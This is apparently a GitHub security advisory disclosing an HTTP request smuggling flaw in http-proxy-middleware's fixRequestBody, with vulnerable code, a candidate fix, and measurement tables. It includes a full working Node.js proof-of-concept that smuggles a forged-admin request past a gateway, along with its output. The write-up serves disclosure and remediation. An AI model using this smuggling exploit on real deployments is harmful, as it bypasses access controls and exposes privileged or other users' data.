Skip to main content
Menu
Advisories

http-proxy-middleware smuggles a second request when fixRequestBody runs before body arrival

GHSA-VP89-2QRG-8FWCPublished Updated GitHub

Description

fixRequestBody treats req.readableLength === 0 as proof that a body parser consumed the request body. The same value is observed before any body byte has arrived. An unauthenticated client can therefore send the request headers first, wait one event-loop turn, and then send a body containing a complete second HTTP request.

When a body-parser 1.x parser declined the declared media type, it has already assigned a truthy req.body but has not consumed the stream. fixRequestBody serializes that empty body, changes the upstream Content-Length, and writes it. httpxy subsequently pipes the still-live request stream into the same upstream request. The backend consumes the synthesized body at the declared length and parses the attacker's withheld bytes as a second request on the persistent connection.

That second request bypasses the gateway's route filter, explicit /admin denial, and trusted-header normalization. On the default 4.2.0 upstream pool, a following request can also receive the smuggled request's response. The PoC below uses no attacker credential: a public /api/thing request produces a backend /admin/secret request carrying the attacker-selected internal identity header, and an attacker-controlled follow-up receives SECRET_ADMIN_ONLY.

Details

The vulnerable guard is in src/handlers/fix-request-body.ts:30-39:

// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)
if (req.readableLength !== 0) {
  return;
}

const requestBody = req.body;

if (!requestBody) {
  return;
}

readableLength reports bytes currently buffered in the readable queue. It is zero both after a parser drains the stream and before the client sends the body. The client controls which state applies by controlling body arrival.

With body-parser 1.20.3, json() assigns req.body = req.body || {} before its media-type test. A request declared as application/x-www-form-urlencoded therefore reaches the proxy with a truthy empty object even when only express.json() is mounted. Body-parser 2.2.0 initializes a previously absent body to undefined, so the second guard returns; the relevant prerequisite is the body-parser major, not the Express major.

The handler then assumes ownership of the upstream framing at src/handlers/fix-request-body.ts:47-81:

const writeBody = (bodyData: string) => {
  let proxyData: string | Buffer = bodyData;
  // compression branches omitted
  proxyReq.setHeader('Content-Length', Buffer.byteLength(proxyData));
  proxyReq.write(proxyData);
};

if (contentType.includes('application/json') || contentType.includes('+json')) {
  writeBody(JSON.stringify(requestBody));
} else if (contentType.includes('application/x-www-form-urlencoded')) {
  writeBody(querystring.stringify(requestBody));
} else if (contentType.includes('multipart/form-data')) {
  writeBody(stringifyFormData(contentType, requestBody));
} else if (contentType.includes('text/plain')) {
  writeBody(requestBody);
}

In the PoC, requestBody is {}, so the URL-encoded form is an empty string and the outgoing length becomes zero. In the published httpxy 0.5.5 artifact, dist/index.mjs:288-290 emits proxyReq from one socket listener and dist/index.mjs:325-327 registers the original request pipe in a later socket listener. The event handler writes the synthetic zero-length body first; the pipe writes the real body afterward. The backend therefore receives this shape from one client request:

POST /api/thing HTTP/1.1
content-type: application/x-www-form-urlencoded
content-length: 0
connection: keep-alive
x-authenticated-user: anonymous

GET /admin/secret HTTP/1.1
Host: backend
X-Authenticated-User: admin
Content-Length: 0

The smuggled request never traverses the gateway. A backend that trusts identity headers written by the gateway sees the attacker-selected admin value, while an ordinary client request has that header deleted and replaced by the gateway.

The necessary conditions are:

  • A body-parser 1.x parser runs before the proxy and declines the request media type, leaving a truthy req.body and an unread stream.
  • fixRequestBody is registered as on.proxyReq.
  • The body arrives after the headers in a later event-loop turn.
  • The upstream connection remains persistent. This is the 4.x default from 4.0.0-beta.2. On 2.x, 3.x, and 4.0.0-beta.0, a pooling agent supplies persistence when the client omits Connection; a plain non-pooling new http.Agent() requires the client to send Connection: keep-alive. A pooling agent is additionally required to read the response through a following request.
  • No front end ahead of the gateway fully buffers and reframes the request before forwarding it.

The project documents the relevant arrangement. README.md:521-533 recommends fixRequestBody after body parsing, and README.md:539-559 shows it with bodyParser.json(). For older lines, recipes/corporate-proxy.md:14-17 shows the additional agent configuration.

Suggested fix: do not use buffered-byte count as a proxy for stream completion. req.readableEnded is a Node stream state that distinguishes a drained stream from a body that has not arrived. The following is a candidate change, not a fully regression-tested patch:

-// skip fixRequestBody() when req.readableLength not 0 (bodyParser failure)
-if (req.readableLength !== 0) {
+// Only reconstruct a body after the original request stream reached its end.
+if (!req.readableEnded) {
   return;
 }

This candidate passed the ordinary parsed-JSON control used during review, but it should be tested across every supported Node line, body-parser 1.x and 2.x, matching and declined media types, empty bodies, compressed requests, and all four serialization branches. Calling req.unpipe(proxyReq) inside fixRequestBody is not sufficient: httpxy installs the pipe after the proxyReq callback returns. Destroying the request stream inside this public helper also breaks valid parsed-body use. A more structural fix would make reconstruction and streaming mutually exclusive before the upstream request is created. No patch was applied to the target checkout.

PoC

The PoC is self-contained and uses the published packages. Save the script below as poc.mjs in a new directory and run:

npm init -y
npm install http-proxy-middleware@4.2.0 express@4.21.2
node poc.mjs
import fs from 'node:fs';
import http from 'node:http';
import net from 'node:net';
import { fileURLToPath } from 'node:url';
import express from 'express';
import { createProxyMiddleware, fixRequestBody } from 'http-proxy-middleware';

const HERE = new URL('./', import.meta.url);
const BODY_GAP_MS = 20;
const FOLLOW_DELAY_MS = 20;

function version(name) {
  const path = fileURLToPath(new URL(`node_modules/${name}/package.json`, HERE));
  return JSON.parse(fs.readFileSync(path, 'utf8')).version;
}

function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

function listen(server) {
  return new Promise((resolve, reject) => {
    server.once('error', reject);
    server.listen(0, '127.0.0.1', () => {
      server.off('error', reject);
      resolve(server.address().port);
    });
  });
}

async function close(server) {
  server.closeAllConnections?.();
  await new Promise((resolve) => server.close(resolve));
}

function send(res, status, body) {
  res.writeHead(status, {
    'Content-Type': 'text/plain',
    'Content-Length': Buffer.byteLength(body),
  });
  res.end(body);
}

async function startRig() {
  const log = [];
  const socketIds = new WeakMap();
  let nextSocketId = 1;

  const backend = http.createServer((req, res) => {
    const socket = socketIds.get(req.socket);
    const user = req.headers['x-authenticated-user'] || 'missing';
    log.push(`${req.method} ${req.url} user=${user} socket=${socket}`);
    req.resume();
    req.on('end', () => {
      if (req.url === '/admin/secret') {
        const allowed = user === 'admin';
        setTimeout(() => {
          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'SECRET_ADMIN_ONLY' : 'DENIED');
        }, 120);
        return;
      }
      if (req.url === '/api/victim') {
        const allowed = user === 'victim';
        setTimeout(() => {
          if (!res.destroyed) send(res, allowed ? 200 : 403, allowed ? 'VICTIM_PRIVATE_DATA' : 'NO_VICTIM_ACCESS');
        }, 240);
        return;
      }
      send(res, 200, `PUBLIC:${req.url}`);
    });
  });
  backend.on('connection', (socket) => socketIds.set(socket, nextSocketId++));
  const backendPort = await listen(backend);

  const app = express();
  app.use(express.json());
  app.use((req, _res, next) => {
    delete req.headers['x-authenticated-user'];
    req.headers['x-authenticated-user'] =
      req.headers['x-victim-token'] === 'victim-secret' ? 'victim' : 'anonymous';
    delete req.headers['x-victim-token'];
    next();
  });
  app.use('/admin', (_req, res) => send(res, 403, 'GATEWAY_BLOCKED'));
  app.use(createProxyMiddleware({
    target: `http://127.0.0.1:${backendPort}`,
    pathFilter: '/api',
    on: { proxyReq: fixRequestBody },
  }));
  app.use((_req, res) => send(res, 404, 'NOT_FOUND'));

  const gateway = http.createServer(app);
  const gatewayPort = await listen(gateway);
  return { backend, gateway, gatewayPort, log };
}

function request(port, path, headers = {}) {
  return new Promise((resolve, reject) => {
    const req = http.request({
      host: '127.0.0.1',
      port,
      path,
      method: 'GET',
      agent: false,
      headers,
    }, (res) => {
      const chunks = [];
      res.on('data', (chunk) => chunks.push(chunk));
      res.on('end', () => resolve({
        status: res.statusCode,
        body: Buffer.concat(chunks).toString('utf8'),
      }));
    });
    req.setTimeout(2000, () => req.destroy(new Error('timeout')));
    req.on('error', reject);
    req.end();
  });
}

function firstResponse(buffer) {
  const headerEnd = buffer.indexOf('\r\n\r\n');
  if (headerEnd < 0) return null;
  const head = buffer.subarray(0, headerEnd).toString('latin1');
  const length = Number(/\r\ncontent-length:\s*(\d+)/i.exec(`\r\n${head}`)?.[1]);
  if (!Number.isFinite(length)) return null;
  const end = headerEnd + 4 + length;
  if (buffer.length < end) return null;
  return {
    status: Number(/^HTTP\/1\.1\s+(\d+)/.exec(head)?.[1]),
    body: buffer.subarray(headerEnd + 4, end).toString('utf8'),
  };
}

function startOuter(port, split) {
  const smuggled = [
    'GET /admin/secret HTTP/1.1',
    'Host: backend',
    'X-Authenticated-User: admin',
    'Content-Length: 0',
    '',
    '',
  ].join('\r\n');
  const head = [
    'POST /api/thing HTTP/1.1',
    `Host: 127.0.0.1:${port}`,
    'Content-Type: application/x-www-form-urlencoded',
    `Content-Length: ${Buffer.byteLength(smuggled)}`,
    'Connection: keep-alive',
    '',
    '',
  ].join('\r\n');

  let bytes = Buffer.alloc(0);
  let bodySentResolve;
  const bodySent = new Promise((resolve) => { bodySentResolve = resolve; });
  let responseResolve;
  const response = new Promise((resolve) => { responseResolve = resolve; });
  const socket = net.connect(port, '127.0.0.1');
  socket.setNoDelay(true);
  socket.on('error', () => {});
  socket.on('data', (chunk) => {
    bytes = Buffer.concat([bytes, chunk]);
    const parsed = firstResponse(bytes);
    if (parsed) responseResolve(parsed);
  });
  socket.on('connect', () => {
    if (!split) {
      socket.write(head + smuggled, 'latin1', bodySentResolve);
      return;
    }
    socket.write(head, 'latin1', () => {
      setTimeout(() => socket.write(smuggled, 'latin1', bodySentResolve), BODY_GAP_MS);
    });
  });
  return { socket, bodySent, response };
}

async function scenario(label, run) {
  const rig = await startRig();
  try {
    console.log(`\n[${label}]`);
    await run(rig);
    console.log(`backend log: ${rig.log.join(' | ') || '(empty)'}`);
  } finally {
    await close(rig.gateway);
    await close(rig.backend);
  }
}

console.log(`Node ${process.version}; http-proxy-middleware ${version('http-proxy-middleware')}; httpxy ${version('httpxy')}; express ${version('express')}`);

await scenario('control: direct admin request', async ({ gatewayPort }) => {
  const result = await request(gatewayPort, '/admin/secret', { 'X-Authenticated-User': 'admin' });
  console.log(`attacker -> ${result.status} ${result.body}`);
});

await scenario('control: direct victim request without token', async ({ gatewayPort }) => {
  const result = await request(gatewayPort, '/api/victim');
  console.log(`attacker -> ${result.status} ${result.body}`);
});

await scenario('control: identical bytes in one write', async ({ gatewayPort }) => {
  const outer = startOuter(gatewayPort, false);
  await outer.bodySent;
  const outerResult = await outer.response;
  const follow = await request(gatewayPort, '/api/follow');
  outer.socket.destroy();
  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);
  console.log(`follow-up attacker -> ${follow.status} ${follow.body}`);
});

await scenario('exploit: delayed body, attacker reads admin response', async ({ gatewayPort }) => {
  const outer = startOuter(gatewayPort, true);
  await outer.bodySent;
  await sleep(FOLLOW_DELAY_MS);
  const follow = await request(gatewayPort, '/api/follow');
  const outerResult = await outer.response;
  outer.socket.destroy();
  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);
  console.log(`follow-up attacker -> ${follow.status} ${follow.body}`);
});

await scenario('exploit: first ordinary client receives the admin response', async ({ gatewayPort }) => {
  const outer = startOuter(gatewayPort, true);
  await outer.bodySent;
  await sleep(FOLLOW_DELAY_MS);
  const victim = await request(gatewayPort, '/api/victim', { 'X-Victim-Token': 'victim-secret' });
  const outerResult = await outer.response;
  outer.socket.destroy();
  console.log(`outer attacker -> ${outerResult.status} ${outerResult.body}`);
  console.log(`victim -> ${victim.status} ${victim.body}`);
});

Output, unedited:

Node v24.21.0; http-proxy-middleware 4.2.0; httpxy 0.5.5; express 4.21.2

[control: direct admin request]
attacker -> 403 GATEWAY_BLOCKED
backend log: (empty)

[control: direct victim request without token]
attacker -> 403 NO_VICTIM_ACCESS
backend log: GET /api/victim user=anonymous socket=1

[control: identical bytes in one write]
outer attacker -> 200 PUBLIC:/api/thing
follow-up attacker -> 200 PUBLIC:/api/follow
backend log: POST /api/thing user=anonymous socket=1 | GET /api/follow user=anonymous socket=1

[exploit: delayed body, attacker reads admin response]
outer attacker -> 200 PUBLIC:/api/thing
follow-up attacker -> 200 SECRET_ADMIN_ONLY
backend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/follow user=anonymous socket=1

[exploit: first ordinary client receives the admin response]
outer attacker -> 200 PUBLIC:/api/thing
victim -> 200 SECRET_ADMIN_ONLY
backend log: POST /api/thing user=anonymous socket=1 | GET /admin/secret user=admin socket=1 | GET /api/victim user=victim socket=1

The first control proves the gateway rejects /admin/secret even when the client supplies the trusted header; the backend is not contacted. The second proves an unauthenticated client cannot read the victim route. The third sends exactly the same outer headers and body as the exploit in one concatenated write: only /api/thing reaches the backend, and the follow-up receives its own response. Only the body schedule changes in the exploit. The backend then logs two requests on one socket, and the unauthenticated follow-up receives the admin-only body. The last scenario replaces the follow-up with an authenticated victim request and shows that arrival order selects the recipient of the queued admin response.

The complete script was repeated ten times on Node 24.21.0. Both exploit scenarios succeeded in every run, and the concatenated-write control stayed clean in every run:

complete_runs=10/10 failures=0

The response-routing behavior was also measured separately at 30 trials per cell with a fresh gateway and pool for every trial. The smuggled endpoint responded after 120 ms and the follow-up began 20 ms after the body:

upstream schedulingclean free sockets before the attemptattacker received the admin response
default lifo030/30
default lifo130/30
default lifo430/30
explicit fifo030/30
explicit fifo130/30
explicit fifo40/30

The concatenated-write negative control was 0/30. With two possible recipients, routing was deterministic: whichever ordinary request arrived first received the admin response, 30/30 in both orderings. FIFO plus a sufficiently deep idle pool is a measured mitigation, not a complete fix; occupying the older sockets drove the FIFO depth-four cell back to 30/30.

Published artifacts were tested rather than inferring the range from the source commit. The persistent-agent column used new http.Agent({keepAlive:true}) with an explicit client Connection: keep-alive; it is not an unspecified generic agent:

versionno agent optionmeasured persistent-agent configuration
2.0.9payload droppedsmuggled
2.0.10payload droppedsmuggled
3.0.5payload droppedsmuggled
3.0.7payload droppedsmuggled
4.0.0-beta.0payload droppedsmuggled
4.0.0-beta.2smuggledsmuggled
4.2.0smuggledsmuggled

The agent and client header were then separated on 2.0.10 and 3.0.7, ten fresh trials per cell:

agentclient Connectionbackend Connection2.0.103.0.7
plain new http.Agent()omittedclosesmuggled 0/10, truncated 10/10smuggled 0/10, truncated 10/10
plain new http.Agent()keep-alivekeep-alivesmuggled 10/10smuggled 10/10
new http.Agent({keepAlive:true,maxSockets:1})omittedkeep-alivesmuggled 10/10smuggled 10/10
agent:falsekeep-aliveclosesmuggled 0/10, truncated 10/10smuggled 0/10, truncated 10/10

The older lines therefore require an agent plus persistent upstream framing. A plain non-pooling agent is not enough when the client header is omitted. A pooling agent supplies persistence and is also required for response readback. agent:false forces close even when the client asks for keep-alive.

Impact

What it is

A remote unauthenticated client can make the backend execute an arbitrary HTTP/1.1 request that the gateway never parsed or authorized. The request can target a route outside pathFilter and can forge headers that the backend trusts the gateway to set. With the default 4.x LIFO pool, an attacker-controlled following request can receive the smuggled response. This provides an integrity impact for arbitrary backend actions and a confidentiality impact for backend responses reachable through forged gateway identity.

The 10.0 vector describes the default 4.2.0 configuration and the reasonable worst-case use of a proxy library: a public proxied route fronts a backend with privileged internal routes or trusted identity headers. FIRST's CVSS v3.1 User Guide, section 3.7, directs analysts to score libraries using a stated reasonable worst-case implementation scenario; section 3.8 says to use the highest applicable score when only one is supplied. The deterministic integrity-only floor is 8.6 when response readback is unavailable.

Who is impacted

An application is exposed when it places a body-parser 1.x parser before http-proxy-middleware, enables fixRequestBody, permits a request media type that the mounted parser declines but the handler recognizes, and reaches the gateway without complete request-body buffering. The upstream connection must also remain persistent. Persistence is the default in 4.x from 4.0.0-beta.2. The affected 2.x, 3.x, and 4.0.0-beta.0 lines require an explicit agent; a pooling agent supplies keep-alive, while a plain non-pooling agent also requires an explicit client Connection: keep-alive header.

The body-parser major sets the boundary. Express 4 normally supplies body-parser 1.x behavior and Express 5 normally supplies body-parser 2.x behavior, but an Express 5 application that mounts body-parser 1.x explicitly remains affected.

How an operator arrives at that configuration

The README recommends fixRequestBody specifically for applications where body parsing runs first and demonstrates bodyParser.json() before the proxy. The PoC places an explicit route denial and trusted-header normalization before the backend proxy, and the smuggled request bypasses both. The 4.x proxy dependency supplies a keep-alive agent by default. The project's corporate-proxy recipe supplies an agent explicitly for older lines, but that specific HttpsProxyAgent configuration was not measured.

What I am not claiming

This is not exploitable through every deployment. nginx 1.27 with default request buffering was clean in testing, including the delayed-body shape. HAProxy 3.0 in HTTP mode and Traefik 3.1 preserved the vulnerable timing; Envoy 1.31 bypassed the guard but dropped the appended payload in the tested configuration. Managed load balancers, CDNs, service meshes as deployed, HTTPS targets, WebSocket upgrades, responseInterceptor, and pathRewrite were not tested.

Body-parser 2.x, a matching parser that consumes the request, no parser at all, and agent: false were clean in the tested matrix. A non-pooling agent permits the unauthorized backend request only when another input, measured here as an explicit client Connection: keep-alive, keeps the upstream request persistent; it does not provide the response-read technique shown here.

Disclosure

This report has not been published or sent elsewhere. No issue, pull request, or public discussion has been opened. Testing used loopback listeners, published npm artifacts, and disposable local containers. The target checkout was not modified and was clean after testing.

Affected versions

References

GitHub · chimurai/http-proxy-middleware